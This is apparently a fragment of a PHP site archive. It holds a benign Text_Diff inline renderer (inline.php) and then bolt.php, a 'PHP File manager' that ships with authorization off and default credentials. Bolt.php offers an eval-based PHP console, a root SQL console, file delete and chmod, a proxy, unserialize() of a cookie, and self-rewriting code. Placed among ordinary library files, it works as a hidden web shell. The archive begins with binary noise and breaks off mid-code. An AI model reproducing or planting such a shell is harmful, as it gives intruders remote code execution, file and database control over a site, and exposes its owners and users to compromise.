`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
